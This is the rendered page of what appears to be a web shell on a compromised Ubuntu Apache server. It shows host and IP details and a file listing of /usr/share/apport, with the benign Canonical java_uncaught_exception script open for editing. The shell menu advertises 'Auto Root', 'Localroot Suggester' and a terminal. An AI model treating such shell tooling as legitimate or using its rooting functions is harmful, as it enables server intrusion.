Linux jobworks 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:53:05 UTC 2026 x86_64
Apache/2.4.58 (Ubuntu)
Server IP : 10.0.1.5 & Your IP : 216.73.217.52
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
usr /
share /
apport /
Delete
Unzip
Name
Size
Permission
Date
Action
general-hooks
[ DIR ]
drwxr-xr-x
2026-07-28 18:26
package-hooks
[ DIR ]
drwxr-xr-x
2026-07-28 18:26
symptoms
[ DIR ]
drwxr-xr-x
2025-08-05 17:02
testsuite
[ DIR ]
drwxr-xr-x
2026-07-28 18:25
apport
43.68
KB
-rwxr-xr-x
2026-04-24 11:18
apport-checkreports
1.37
KB
-rwxr-xr-x
2026-04-24 11:18
apport.jar
2.38
KB
-rw-r--r--
2026-04-28 17:12
apportcheckresume
3.64
KB
-rwxr-xr-x
2026-04-24 11:18
dump_acpi_tables.py
1.72
KB
-rwxr-xr-x
2026-04-24 11:18
gcc_ice_hook
1.29
KB
-rwxr-xr-x
2026-04-24 11:18
is-enabled
672
B
-rwxr-xr-x
2026-04-24 11:18
iwlwifi_error_dump
1.96
KB
-rwxr-xr-x
2026-04-24 11:18
java_uncaught_exception
2.59
KB
-rwxr-xr-x
2026-04-24 11:18
kernel_crashdump
2.72
KB
-rwxr-xr-x
2026-04-24 11:18
kernel_oops
1.25
KB
-rwxr-xr-x
2026-04-24 11:18
package_hook
2.86
KB
-rwxr-xr-x
2026-04-24 11:18
recoverable_problem
2.4
KB
-rwxr-xr-x
2026-04-24 11:18
root_info_wrapper
96
B
-rwxr-xr-x
2026-04-24 11:18
unkillable_shutdown
3.53
KB
-rwxr-xr-x
2026-04-24 11:18
whoopsie-upload-all
8.33
KB
-rwxr-xr-x
2026-04-24 11:18
Save
Rename
#!/usr/bin/python3 """Receive details from ApportUncaughtExceptionHandler. This generates and saves a problem report. """ # Copyright 2010 Canonical Ltd. # Author: Matt Zimmerman <mdz@ubuntu.com> # # This program is free software; you can redistribute it and/or modify it # under the terms of the GNU General Public License as published by the # Free Software Foundation; either version 2 of the License, or (at your # option) any later version. See http://www.gnu.org/copyleft/gpl.html for # the full text of the license. import os import sys import urllib.parse import apport.report from apport.packaging_impl import impl as packaging def make_title(report): """Construct crash title from stack trace.""" lines = report["StackTrace"].split("\n") message = lines[0].strip() stackframe = lines[1].strip() return f"{message} in {stackframe}" # pylint: disable-next=missing-function-docstring def main(): if not packaging.enabled(): return 1 # read from the JVM process a sequence of key, value delimited by null # bytes items = sys.stdin.read().split("\0") data = {} while items: key = items.pop(0) if not items: break value = items.pop(0) data[key] = value # create report report = apport.report.Report(problem_type="Crash") # assume our parent is the JVM process report.pid = os.getppid() report.add_os_info() report.add_proc_info() # these aren't relevant because the crash was in bytecode del report["ProcMaps"] del report["ProcStatus"] report.add_user_info() # add in data which was fed to us from the JVM process for key, value in data.items(): report[key] = value # Add an ExecutablePath pointing to the file where the main class resides if "MainClassUrl" in report: url = report["MainClassUrl"] url_parts = urllib.parse.urlparse(url) path = url_parts.path if url_parts.scheme == "jar": # path is then a URL to the jar file url_parts = urllib.parse.urlparse(path) path = url_parts.path.split("!/", 1)[0] if url_parts.scheme == "file": report["ExecutablePath"] = path else: # Program at some non-file URL crashed. Give up. return 1 report["Title"] = make_title(report) try: with apport.fileutils.make_report_file(report) as report_file: report.write(report_file) except OSError as error: apport.fatal("Cannot create report: %s", str(error)) return 0 if __name__ == "__main__": sys.exit(main())